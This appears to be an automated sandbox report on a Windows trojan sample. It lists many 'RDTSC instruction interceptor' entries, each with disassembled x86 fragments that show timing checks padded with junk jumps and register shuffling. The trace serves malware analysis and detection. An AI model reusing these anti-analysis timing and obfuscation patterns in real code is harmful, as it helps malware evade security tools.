Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC04A6 second address: 4FC050E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F362081F59Eh 0x00000011 and dword ptr [eax], 00000000h 0x00000014 jmp 00007F362081F5A0h 0x00000019 and dword ptr [eax+04h], 00000000h 0x0000001d pushad 0x0000001e mov di, ax 0x00000021 mov dx, cx 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov al, dl 0x0000002b pushfd 0x0000002c jmp 00007F362081F59Ah 0x00000031 or cx, FD88h 0x00000036 jmp 00007F362081F59Bh 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC050E second address: 4FC0514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0738 second address: 4FA074F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F362081F5A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA074F second address: 4FA0753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0753 second address: 4FA0762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0762 second address: 4FA0779 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9103h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0779 second address: 4FA077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA077F second address: 4FA0783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0783 second address: 4FA07AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F362081F5A7h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA07AD second address: 4FA07B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA07B1 second address: 4FA07B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA07B7 second address: 4FA07D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3620DC90FAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA07D4 second address: 4FA07E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC0298 second address: 4FC029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC029C second address: 4FC02A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC02A2 second address: 4FC02F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, A3F7h 0x00000007 mov al, 88h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007F3620DC9104h 0x00000012 mov dword ptr [esp], ebp 0x00000015 jmp 00007F3620DC9100h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3620DC9107h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC02F1 second address: 4FC02F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC02F7 second address: 4FC02FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC02FB second address: 4FC0320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, B8h 0x00000011 call 00007F362081F59Ch 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC0320 second address: 4FC0326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC0326 second address: 4FC032A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE068B second address: 4FE0690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0690 second address: 4FE06B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 1A56B278h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F362081F5A3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE06B2 second address: 4FE06CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9104h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE06CA second address: 4FE07CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e pushad 0x0000000f mov di, ax 0x00000012 pushfd 0x00000013 jmp 00007F362081F5A0h 0x00000018 sbb ah, 00000068h 0x0000001b jmp 00007F362081F59Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, dword ptr [76FB65FCh] 0x00000027 jmp 00007F362081F5A6h 0x0000002c test eax, eax 0x0000002e jmp 00007F362081F5A0h 0x00000033 je 00007F36927727CCh 0x00000039 pushad 0x0000003a jmp 00007F362081F59Eh 0x0000003f jmp 00007F362081F5A2h 0x00000044 popad 0x00000045 mov ecx, eax 0x00000047 jmp 00007F362081F5A0h 0x0000004c xor eax, dword ptr [ebp+08h] 0x0000004f pushad 0x00000050 mov ebx, 3F8D75D2h 0x00000055 mov ax, bx 0x00000058 popad 0x00000059 and ecx, 1Fh 0x0000005c jmp 00007F362081F5A5h 0x00000061 ror eax, cl 0x00000063 jmp 00007F362081F59Eh 0x00000068 leave 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c pushfd 0x0000006d jmp 00007F362081F59Dh 0x00000072 add cx, 4E06h 0x00000077 jmp 00007F362081F5A1h 0x0000007c popfd 0x0000007d mov edx, esi 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE07CB second address: 4FE07E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9108h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE07E7 second address: 4FE083D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00B64014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F3624CDE638h 0x00000023 push FFFFFFFEh 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 call 00007F362081F5A8h 0x0000002d pop ecx 0x0000002e pushfd 0x0000002f jmp 00007F362081F59Bh 0x00000034 or ecx, 5FE41F4Eh 0x0000003a jmp 00007F362081F5A9h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE083D second address: 4FE085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, DC62h 0x00000007 movsx edx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3620DC9101h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE085E second address: 4FE08C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F3624CDE6B3h 0x00000011 mov edi, edi 0x00000013 pushad 0x00000014 mov esi, 043459C3h 0x00000019 jmp 00007F362081F5A8h 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 mov edx, eax 0x00000023 mov eax, 3AEBE459h 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F362081F59Fh 0x0000002f xchg eax, ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F362081F5A5h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE08C7 second address: 4FE08CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE08CD second address: 4FE08D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE08D1 second address: 4FE08D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90041 second address: 4F90045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90045 second address: 4F90058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90058 second address: 4F9005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F9005E second address: 4F900C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F3620DC9106h 0x00000012 and esp, FFFFFFF8h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushfd 0x0000001b jmp 00007F3620DC9103h 0x00000020 or si, 9BAEh 0x00000025 jmp 00007F3620DC9109h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F900C3 second address: 4F900D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F362081F59Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F900D3 second address: 4F90114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F3620DC9106h 0x00000011 push eax 0x00000012 jmp 00007F3620DC90FBh 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edi, 6CB95BF6h 0x00000020 movsx ebx, si 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90114 second address: 4F9012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F362081F5A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F9012C second address: 4F9015B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F3620DC9106h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F9015B second address: 4F90177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90177 second address: 4F90296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3620DC9104h 0x00000011 adc ax, C438h 0x00000016 jmp 00007F3620DC90FBh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F3620DC9108h 0x00000022 adc eax, 72B9BE98h 0x00000028 jmp 00007F3620DC90FBh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebx, dword ptr [ebp+10h] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F3620DC9104h 0x00000039 and si, 68F8h 0x0000003e jmp 00007F3620DC90FBh 0x00000043 popfd 0x00000044 jmp 00007F3620DC9108h 0x00000049 popad 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c mov edi, ecx 0x0000004e pushfd 0x0000004f jmp 00007F3620DC90FAh 0x00000054 adc al, FFFFFF88h 0x00000057 jmp 00007F3620DC90FBh 0x0000005c popfd 0x0000005d popad 0x0000005e push eax 0x0000005f pushad 0x00000060 pushfd 0x00000061 jmp 00007F3620DC90FBh 0x00000066 add ecx, 18851ECEh 0x0000006c jmp 00007F3620DC9109h 0x00000071 popfd 0x00000072 popad 0x00000073 xchg eax, esi 0x00000074 jmp 00007F3620DC90FEh 0x00000079 mov esi, dword ptr [ebp+08h] 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007F3620DC9107h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90296 second address: 4F9029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F9029C second address: 4F902C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3620DC9105h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F902C5 second address: 4F902E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F362081F59Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F902E9 second address: 4F9031A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b jmp 00007F3620DC9104h 0x00000010 mov dx, ax 0x00000013 popad 0x00000014 test esi, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, ecx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F9031A second address: 4F903B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F36927BD87Ch 0x0000000f jmp 00007F362081F59Eh 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b jmp 00007F362081F5A0h 0x00000020 je 00007F36927BD867h 0x00000026 pushad 0x00000027 pushad 0x00000028 mov ecx, 53E596A3h 0x0000002d mov dl, al 0x0000002f popad 0x00000030 pushfd 0x00000031 jmp 00007F362081F5A5h 0x00000036 sub cx, C4A6h 0x0000003b jmp 00007F362081F5A1h 0x00000040 popfd 0x00000041 popad 0x00000042 mov edx, dword ptr [esi+44h] 0x00000045 pushad 0x00000046 call 00007F362081F5A8h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F903B6 second address: 4F903DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 or edx, dword ptr [ebp+0Ch] 0x00000009 pushad 0x0000000a push edi 0x0000000b mov si, 14AFh 0x0000000f pop ecx 0x00000010 popad 0x00000011 test edx, 61000000h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3620DC90FDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F903DC second address: 4F9043B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F362081F5A7h 0x00000009 adc al, FFFFFF9Eh 0x0000000c jmp 00007F362081F5A9h 0x00000011 popfd 0x00000012 mov dx, cx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jne 00007F36927BD804h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F362081F5A9h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F9043B second address: 4F90463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3620DC90FDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80748 second address: 4F8074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F8074C second address: 4F80752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80752 second address: 4F80773 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F362081F59Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80773 second address: 4F80782 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80782 second address: 4F807CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F362081F59Fh 0x00000009 sub si, EFAEh 0x0000000e jmp 00007F362081F5A9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 jmp 00007F362081F59Dh 0x0000001e and esp, FFFFFFF8h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F807CF second address: 4F807E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80923 second address: 4F80954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F362081F5A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80954 second address: 4F809B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3620DC90FFh 0x00000009 adc al, FFFFFFDEh 0x0000000c jmp 00007F3620DC9109h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F3620DC9100h 0x00000018 sub cx, C0D8h 0x0000001d jmp 00007F3620DC90FBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 je 00007F3692D6EAF0h 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f mov cx, 73A1h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F809B6 second address: 4F80A06 instructions: 0x00000000 rdtsc 0x00000002 mov bh, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F362081F5A3h 0x0000000c and si, 884Eh 0x00000011 jmp 00007F362081F5A9h 0x00000016 popfd 0x00000017 popad 0x00000018 test byte ptr [76FB6968h], 00000002h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F362081F59Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80A06 second address: 4F80A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 7867BB12h 0x00000008 movsx edx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F3692D6EA98h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F3620DC9107h 0x0000001d jmp 00007F3620DC9103h 0x00000022 popfd 0x00000023 movzx eax, di 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80A4D second address: 4F80A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90DF1 second address: 4F90DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90DF7 second address: 4F90DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
